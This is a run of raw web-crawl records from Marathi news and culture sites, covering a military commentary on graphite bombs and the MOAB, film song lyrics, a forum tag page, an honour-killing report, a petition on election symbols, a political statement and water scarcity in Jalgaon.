बॉंब. या बॉंबमुळे जीवितहानी होत नाही. परंतु, शत्रूची युद्ध करण्याची क्षमताच नष्ट होते. या बॉंबमध्ये ग्राफाईटचे (म्हणजे कार्बनचेच अन्य स्वरूप) अत्यंत बारीक कण ठासून भरलेले असतात. शहरी वस्तीवर हा बॉंब टाकला, की हे कण सर्वत्र पसरतात आणि मुळातच ग्राफाईट उत्कृष्ट विद्युतवाहक असल्यामुळे वीज उत्पादन केंद्रापासून ते शत्रूचे रडार आणि संगणकासारख्या विजेच्या सर्व उपकरणांत शॉर्टसर्किट घडवून ती बंद पडतात.\nअशा तऱ्हेने त्या युद्धात अमेरिकेने सर्बियाची सत्तर टक्के वीजनिर्मिती नष्ट केली होती.\nआताच्या प्रमाणे 1991 मधील अफगाणिस्तानच्या युद्धातदेखील (ऑपरेशन डेझर्ट स्टॉर्म), डोंगरी गुहात लपून संयुक्त राष्ट्रसंघाच्या सैन्यावर अचानक हल्ला चढविणाऱ्या \"तालिबानीं'चा बंदोबस्त करण्यासाठी अमेरिकेला एका नव्या शस्त्राची गरज भासली होती. त्या वेळी अमेरिकेने \"डेझी कटर' या बॉंबची चाचणी घेतली. त्यात जुन्या आठ इंची तोफांच्या बॅरलमध्ये स्फोटके भरून ती तोराबोरामधील शत्रूच्या लपण्याच्या जागांवर सोडली होती. परंतु, ती फारशी प्रभावी ठरली नाहीत. त्यांचीच जागा आता \"मदर ऑफ ऑल बॉंब'ने घेतली आहे. हमीद करझाई यांचे विधान त्याच पार्श्वभूमीवर केलेले दिसते \n(निवृत्त एअर व्हाइस मार्शल)\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nसैफ अली खानच्या 'बाजार'चा ट्रेलर प्रदर्शित\nअभिनेता सैफ अली खानचे करिअर सध्या सिनेसृष्टीत फारसे यशस्वी राहिले नाही. सैफचे शेवटचे दोन सिनेमे 'रंगून' आणि 'शेफ' हे बॉक्स ऑफिसवर आपटले. पण आपल्या...\nमालदीवमधील सत्तापालट भारताला अनुकूल\nमालदीवमध्ये काल मतपेटीद्वारे झालेला सत्तापालट भारतासाठी अनुकूल ठरणार असल्याच्या बातम्या सर्वत्र छापून येत आहेत. निवडून आलेले मालदीव डेमॉक्रॅटिक...\nसर्जिकल स्ट्राईकच्या कारवाईतील 'वीरजवान' हुतात्मा\nश्रीनगर : भारतीय लष्कराने पाकव्याप्त काश्मीरात घुसून सर्जिकल स्ट्राईकची कारवाई केली होती. ही कारवाई दोन वर्षांपूर्वी करण्यात आली. या कारवाईतील...\n'बॉईज 2' चा ट्रेलर प्रदर्शित; मुंबईत पार पडला सोहळा\nमुंबई: तरुणाईवर आधारीत सिनेमा म्हटला की त्यात दंगा मस्ती ही ओघाने आलीच खास करून जर तो सिनेमा सुपरहिट 'बॉईज' चा सिक्वेल असेल,...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00225.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.ganimarathi.com/2017/07/blog-post_44.html", "date_download": "2018-09-25T17:56:40Z", "digest": "sha1:UOMHVNHBA25GN7HWCCEF4K6K62IUITRW", "length": 4262, "nlines": 127, "source_domain": "www.ganimarathi.com", "title": "मराठी कविता आणि गाणी: कसा जीव गुंतला - फुंतरु", "raw_content": "मराठी कविता आणि गाणी\nकसा जीव गुंतला - फुंतरु\nमनाला मनाची ओढ लागते पुन्हा पुन्हा\nमनाला मनाचे वेड लागते पुन्हा पुन्हा\nकसा हा जीव गुंतला\nतुझे रूप असावे खळखळणाऱ्या मुक्त झऱ्याचे\nतुझे स्पर्श असावे विरघळणाऱ्या शुभ्र धुक्याचे\nहातात हात दे जरा\nये जवळ ये ना जरा\nस्वप्न साकारले हे जणू\nकधी सवरावा हे पांघरून घेऊ चांदणे\nया तुझ्या चाहूलीने मुके शब्द होती\nसांगू कुणाला कसा मी\nमाझ्या मानाची व्यथा मी\nका राहिलो एकटा मी\nहा कसा जीव गुंतला\nतुझे श्वास असावे दरवळणारे गंध फुलांचे\nतुझे प्रेम असावे उलगडणारे बंध मनाचे\nगोड भासतो पुन्हा पुन्हा\nकसा हा जीव गुंतला\nरोज छेडतो पुन्हा पुन्हा\nकसा हा जीव गुंतला\nस्वर - हृषीकेश रानडे, केतकी माटेगावकर\nश्रावण मासी हर्ष मानसी\nराजा शिवछत्रपती मालिकेचे शीर्षकगीत\nनवरी आली - तुझ्या माझ्या संसाराला आणि काय हवे\nआताशा.. असे हे - आयुष्यावर बोलू काही\nतुझ्या रूपाच - ख्वाडा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00225.warc.wet.gz", "language": "mr", "language_score": 0.62, "bucket": "all"} {"url": "https://www.maayboli.com/taxonomy/term/7268", "date_download": "2018-09-25T17:15:11Z", "digest": "sha1:3T56Y3PRKC3SEJMVLN2AVYKVGTHNJUK5", "length": 3155, "nlines": 69, "source_domain": "www.maayboli.com", "title": "ऑनलाईन दिवाळी अंक : शब्दखूण | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /ऑनलाईन दिवाळी अंक\n२०१३ च्या दिवाळी अंकांची चर्चा करण्यासाठी हा धागा. कुठल्या अंकामधे वाचण्यासाठी काय काय आहे याबद्दल इथे सांगता येईल.\nRead more about दिवाळी अंक २०१३\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00225.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://lokmat.news18.com/maharastra/buldhana-girls-father-killed-the-youth-for-inter-caste-love-affair-275536.html", "date_download": "2018-09-25T16:51:24Z", "digest": "sha1:LHFTX5B6HJ5A4WVHMRKXCDTL3NVERCTM", "length": 12899, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "आंतरजातीय प्रेमसंबंधातून मुलीच्या वडिलांनी तरुणाची जाळून केली हत्या", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nआंतरजातीय प्रेमसंबंधातून मुलीच्या वडिलांनी तरुणाची जाळून केली हत्या\nया प्रकरणी आरोपी सोपान कोल्हेला अटक करण्यात आलीये.\n30 नोव्हेंबर : बुलडाण्यात मुलीच्या आंतरजातीय प्रेमाला विरोध करत मुलीच्या बापानं तरुणाचा जाळून खून केल्याची धक्कादायक उघडकीला आलीये. या प्रकरणी आरोपी सोपान कोल्हेला अटक करण्यात आलीये.\nमेंढळी गावातील मुलीचं गावातीलच अमोल झाम्बरे नावाच्या युवकाशी प्रेमसंबध होते. अमोल हा दुसऱ्या जातीचा असल्या कारणाने हे संबंध मुलीच्या वडिलांना मान्य नव्हतं. तरीही दोघे जुमानत नसल्यानं सोपान कोल्हे या मुलीच्या वडिलांने अमोलला त्याच्या मामाच्या शेतात नेऊन जाळून टाकून निर्घृणपणे हत्या केलीय.\nदुसऱ्या दिवशी अमोलचा मृतदेह अर्धवट जळालेल्या अवस्थेत नातेवाईकांना दिसून आल्यानं पोलिसात घटनेची माहिती दिली. आणि पोलिसांनी आपली तपास चक्रं जोरात फिरवून अमोलला जीवे मारणाऱ्या सोपान कोल्हेला अटक करून त्याच्यावर खुनाचा गुन्हा दाखल केलाय. अजूनही या प्रकरणात कुणाचे हात आहे या दृष्टिकोनातून पोलीस तपास करीत आहेत.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00226.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/gadget-news/science-technology/articlelist/2499476.cms?curpg=2", "date_download": "2018-09-25T18:11:36Z", "digest": "sha1:V2QPGM3FBTYMQETMMHK7AGUEY6GGUQAK", "length": 8295, "nlines": 137, "source_domain": "maharashtratimes.indiatimes.com", "title": "Page 2- Science & Technology News: Science News Updates, Science Technology News in Marathi | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nटेक्नोकांतmatatechkatta@gmailcomस्वस्त डेटा आणि जिओच्या सध्याच्या जमान्यात डेटा स्ट्रीमिंगचे वारे मोठ्या प्रमाणावर वाहत आहेत...\nकसं ऐकावं ऑडिओ बुक\nकाय दिसतं या चष्म्यातून\nचंद्र पृथ्वीपासून दूर जातोय\nविज्ञानवाटा: स्वातंत्र्यसेनानी कृषिसंशोधकUpdated: May 12, 2018, 04.00AM IST\nइस्रायलच्या विकासाचे रहस्यUpdated: Apr 28, 2018, 06.08AM IST\nआता गुगल बोलणार हिंदी भाषा\nइनबिल्ट शौचालय असलेल्या स्पेससूटची निर्मितीUpdated: Feb 23, 2018, 03.43PM IST\nमद्यधुंद तरुणींचा चिंचवड पोलीस ठाण्यात धिंगाण...\nमुंबई: मोबाइल चोरल्यानंतर ट्रेनमधून मारली उडी\nपाहा: मुंबईत धावत्या ट्रेनमध्ये तरुणीची स्टंट...\nमुंबई: समुद्रात बुडणाऱ्या तरुणीला 'असं' वाचवल...\nव्हिडिओ: मुलाला झाडाला बांधलं, विवस्त्र करून ...\nकरिनाचं या नट्यांशी कधीच जमलं नाही\nसोशल मीडिया: फायद्याची गोष्ट\nSamsung Galaxy A7 सॅमसंग गॅलेक्सी ए ७भारतात दाखल\n'Paytm' होणार अधिक सुरक्षित; येतंय 'फेस लॉगइन' फीचर\nJio GigaFiber ला टक्कर; वोडाफोन देणार ४ महिन्यांसाठी फ्री इंटरनेट\nMotorola One Power 'मोटोरोला वन पावर'भारतात दाखल\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00226.warc.wet.gz", "language": "mr", "language_score": 0.56, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/maharashtra/nagpur-vidarbha-news/nagpur/political-parties-freeze-election-symbol-for-20-years/articleshow/65774187.cms", "date_download": "2018-09-25T18:05:45Z", "digest": "sha1:NFBJWL6S3PM2ODXSCCGSYHFLL5W4FO4F", "length": 15129, "nlines": 143, "source_domain": "maharashtratimes.indiatimes.com", "title": "Nagpur News: political parties freeze election symbol for 20 years - राजकीय पक्षांचे निवडणूक चिन्हे २० वर्षांपर्यंत गोठवा | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nराजकीय पक्षांचे निवडणूक चिन्हे २० वर्षांपर्यंत गोठवा\nमान्यताप्राप्त राजकीय पक्षांना वर्षोनुवर्षे एकच निवडणूक चिन्ह देण्यात येत असून त्यामुळे त्यांचा एकप्रकारे ब्रॅन्ड ओळख तयार होत आहे. तेव्हा राजकीय पक्षांचे निवडणूक चिन्हे २० वर्षांपर्यंतच गोठवावी अथवा वापरू द्यावीत, अशी विनंती करणारी जनहित याचिका मुंबई उच्च न्यायालयाच्या नागपूर खंडपीठासमोर सादर करण्यात आली आहे.\nएम.एस. चक्रवर्ती यांनी दाखल करण्यात आलेल्या याचिकेवर बुधवारी उच्च न्यायालयात सुनावणी होणार आहे. याचिकाकर्त्यानुसार, निवडणूक चिन्ह आदेश १९६८ च्या अधीन राहून निवडणुकींच्या निकालांच्या अधीन राहून राजकीय पक्षांना मान्यता देण्याबाबत अथवा मान्यता काढण्याबाबत निवडणूक आयोगाचे धोरण आहे, ते अयोग्य आहे.\nमान्यताप्राप्त राजकीय पक्षांच्या उमेदवारांना राखीव चिन्ह देण्यात येतात, तर अन्न्य उमेदवारांना अराखीव चिन्ह देतात. राखून ठेवण्यात आलेली चिन्हे कालांतराने मतदारांच्या कायम लक्षात राहतात. त्यामुळे सदर चिन्हे त्या राजकीय पक्षाचे ब्रॅन्ड (बोध चिन्हे) होतात. त्यामुळे अशा राखीव चिन्हांचा राजकीय पक्षाच्या उमेदवारांना थेट लाभ मिळतो. तर मान्यता नसलेल्या पक्षाच्या उमेदवारांना निवडणुकीच्या १५ दिवस आधी चिन्ह देण्यात येते. त्या चिन्हाची कोणतीही ओळख अथवा लक्षात ठेवण्यासारखे नसतात. त्यामुळे राज्य घटनेतील कलम १४ च्या समानतेच्या तत्वांचे ते उल्लंघन ठरते आहे, असा दावा याचिकेत केला आहे.\nलोकप्रतिनिधीत्व कायदा हा सभागृतहातील सदस्य निवडणुकीचा कायदा आहे, तर राजकीय पक्ष निवडीचा नाही. राज्य घटनेतील कलम ९९, १००, १८८ आणि १८९ हे सदस्यांच्या कर्तव्यांबाबत आहेत, राजकीय पक्षांच्या नाहीत. राजकीय पक्षांबाबत राज्य घटनेतील कोणत्याही कलमांमध्ये विचार करण्यात आलेला नाही, असेही याचिकेत म्हटले आहे.\nनिवडणूक ही केवळ दोन उमेदवारांमध्ये होते. ज्यांची नावे व चिन्हे मतपत्रिका अथवा ईव्हीएमवर देण्यात येते. उमेदवाराचे वय, शैक्षणिक पात्रता, मालमत्ता, वैवाहिक स्थिती, गुन्ह्यांची नोंद ही निडणूक आयोगामार्फत लक्षात घेण्यात येते, राजकीय पक्षांकडून नाही. तेव्हा उमेदवारांमध्ये असा भेदभाव का करण्यात येतो, असा सवाल याचिकेत केला आहे.\nमान्यताप्राप्त व पात्रता नसलेल्या राजकीय पक्षांमधील वर्गवारी देखील या तत्वावर अपयशी ठरते आहे. राज्य घटनेने निवडणूक आयोगाला निवडणुका घेण्याचे दायित्व सोपवले आहे. त्यामुळे नियम व उपनियम तयार करण्याची जबाबदारी आयोगाची नाही, असा दावा केला आहे.\nलोकप्रतिनिधीत्व कायद्यातील कलम ७७, ७८ हे केवळ मान्यताप्राप्त राजकीय पक्षांच्या उमेदवारांना झुकते माप देणारे आहे. अशाप्रकारची असमतोलता ही राज्यघटनेचे उल्लंघन करणारी आणि लोकशाहीच्या संकल्पनेला तडा देणारी आहे. त्यामुळे निवडणूक चिन्हे हे २० वर्षांसाठी गोठवण्यात यावेत, राखीव नसलेले निवडणूक चिन्हे सर्व उमेदवारांना एकाचवेळी देण्यात यावेत, एकाच राजकीय पक्षाचे पण वेगवेगळ्या मतदार संघातील उमेदवारांना वेगवेगळे चिन्हे देण्यात यावेत, तसेच उमेदवारांचे छायाचित्रे ईव्हीएमवर द्यावेत, अशी विनंती याचिकेत केली आहे.\nमिळवा नागपूर बातम्या(nagpur + vidarbha news News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\nnagpur + vidarbha news News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\nमहापौर म्हणतात चुकले काय\nविसर्जनसाठी गेलेल्या ढोलपथकावर काळाचा घाला\nलिंगपरिवर्तनासाठी 'त्यानं' चोरलं ५० तोळे सोनं\nगोळवलकरांचे कालबाह्य विचार हटविले\nयुती नव्हे, सत्ता वंचितांची आघाडी\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n1राजकीय पक्षांचे निवडणूक चिन्हे २० वर्षांपर्यंत गोठवा...\n2'जनता दुसऱ्यांदा मोदींना पंतप्रधान करेल का\n3अकोटमध्ये भरला गाढवांचा पोळा \n4प्रथमोपचाराअभावी दगावतात दोन लाख जीव...\n5‘डॉ. आंबेडकर’ मुळे आंतरराष्ट्रीय झालो\n6स्क्रब टायफसचा विळखा सुरूच...\n7दत्ता मेघे यांना हायकोर्टाची अवमान नोटीस...\n8बलात्कारपीडित अल्पवयीन मुलीला गर्भपाताची परवानगी...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00226.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%9B%E0%A4%BF%E0%A4%82%E0%A4%A6%E0%A4%AE%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%86%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A5%87%E0%A4%AA%E0%A4%BE%E0%A4%B0%E0%A5%8D%E0%A4%B9-%E0%A4%B5%E0%A4%BF%E0%A4%A7/", "date_download": "2018-09-25T17:57:37Z", "digest": "sha1:6IJWWMFGR5YQOA4M4ALPLGUCCNLAHWTR", "length": 6647, "nlines": 70, "source_domain": "pclive7.com", "title": "छिंदमच्या आक्षेपार्ह विधानाचा भाजपाशी संबंध जोडणे बालिशपणाचं – खासदार अमर साबळे | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड छिंदमच्या आक्षेपार्ह विधानाचा भाजपाशी संबंध जोडणे बालिशपणाचं – खासदार अमर साबळे\nछिंदमच्या आक्षेपार्ह विधानाचा भाजपाशी संबंध जोडणे बालिशपणाचं – खासदार अमर साबळे\nपिंपरी (Pclive7.com):- छत्रपती शिवाजी महाराज हे आमचा स्वाभिमान आहेत. भारतीय जनता पक्षासाठी महाराजांचे स्थान नेहमीच पूजनीय आहे. श्रीपाद छिंदम याने केलेले विधान आक्षेपार्ह असून त्या विधानाचा आणि भारतीय जनता पक्षाचा संबंध जोडणे बालिशपणाचे आहे. पक्षाने छिंदमला पदावरून बडतर्फ करीत पक्षातून तात्काळ बेदखल केले आहे, अशी वृत्ती समाजाला व पक्षाला घातक असून त्यांच्यावर कडक कायदेशीर कारवाई करण्यात यावी, अशी मागणी खासदार साबळे यांनी केली.\nअहमदनगरचे उपमहापौर श्रीपाद छिंदम यांनी छत्रपती शिवाजी महाराज यांच्याविषयी केलेल्या आक्षेपार्ह विधानाचे पडसाद संपूर्ण महाराष्ट्रात उमटले. छिंदम हे भारतीय जनता पक्षाचे पदाधिकारी असल्यामुळे विरोधकांनी पक्षावर टीका केली होती. त्या पार्श्वभूमीवर खासदार साबळे यांनी पक्षाच्यावतीने आपली भूमिका मांडली.\nTags: bjpPCLIVE7.COMPcmc newsअमर साबळेखासदारचिंचवडपिंपरीभाजप\nज्येष्ठ नाट्यसमीक्षक व साहित्य अभ्यासक डॉ. मनीषा दीक्षित यांचे निधन\n‘अखंड जनसेवा’ अॅपचे खासदार अनिल देसाई यांच्या हस्ते लोकार्पण\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00227.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://www.loksatta.com/maharashtra-news/water-scarcity-issue-in-jalgaon-district-1664362/", "date_download": "2018-09-25T17:14:14Z", "digest": "sha1:VYXUKYMWNDDX3TUZGH47F6VCK5H6K2PE", "length": 16480, "nlines": 207, "source_domain": "www.loksatta.com", "title": "Water scarcity issue in Jalgaon district | जळगाव जिल्ह्यतील ८८९ गावांवर पाणीटंचाईचे संकट | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nजळगाव जिल्ह्यतील ८८९ गावांवर पाणीटंचाईचे संकट\nजळगाव जिल्ह्यतील ८८९ गावांवर पाणीटंचाईचे संकट\nपाण्याची तजवीज करताना वधू पक्षाची दमछाक होत असून त्यांना आर्थिक तोषिशही सहन करावी लागत आहे.\nजळगावसह राज्यातील अनेक भागांत तापमानाचा पारा दिवसागणिक उंचावत आहे. वाढत्या तापमानाबरोबर पाणीटंचाईचे संकट गहिरे झाले आहे. एप्रिलच्या मध्यावर जळगाव जिल्ह्यतील ८८९ गावे पाणीटंचाईच्या छायेत आहेत. त्यातील ७७ गावांना टँकरद्वारे पाणीपुरवठा करण्याची वेळ आली आहे. अनेक गावांमध्ये १५ ते २० दिवसांआड पाणीपुरवठा होत आहे. राज्यातील अनेक भागांत कमी-अधिक प्रमाणात हीच स्थिती असून पाणीटंचाईच्या झळा जनावरांनाही बसत आहे. दुसरीकडे लग्नकाऱ्यांनाही त्याचा फटका बसला आहे. पाण्याची तजवीज करताना वधू पक्षाची दमछाक होत असून त्यांना आर्थिक तोषिशही सहन करावी लागत आहे.\nप्रशासनाने दिलेल्या महितीनुसार, एप्रिल ते जून या काळात २७१ गावांना टंचाईचा सामना करावा लागण्याची शक्यता आहे. यामुळे टंचाई निवारणार्थ जिल्हा परिषदेने पाणीटंचाईवर मात करण्यासाठी जिल्हा प्रशासनाकडे २९ कोटी ५० लाखांचा आराखडा मंजूर केला आहे. सद्य:स्थितीत अमळनेर तालुक्यात सर्वाधिक ४१ गावांमध्ये पाणीटंचाईचा सामना करावा लागत आहे. या तालुक्यात १६ टँकरने पाणीपुरवठा सुरू आहे. जामनेर तालुक्यात १८ गावांना १३ टँकर तर भुसावळ, बोदवड, पाचोरा तालुक्यांत प्रत्येकी एक टँकर, पारोळा तालुक्यात १४ गावांमध्ये सहा टँकर असे सध्या ७७ गावांमध्ये ३९ टँकरने पाणीपुरवठा केला जात आहे. टंचाईचे भीषण संकट लक्षात घेऊन प्रशासनाने विंधन विहिरी, कूपनलिकांचे अधिग्रहण 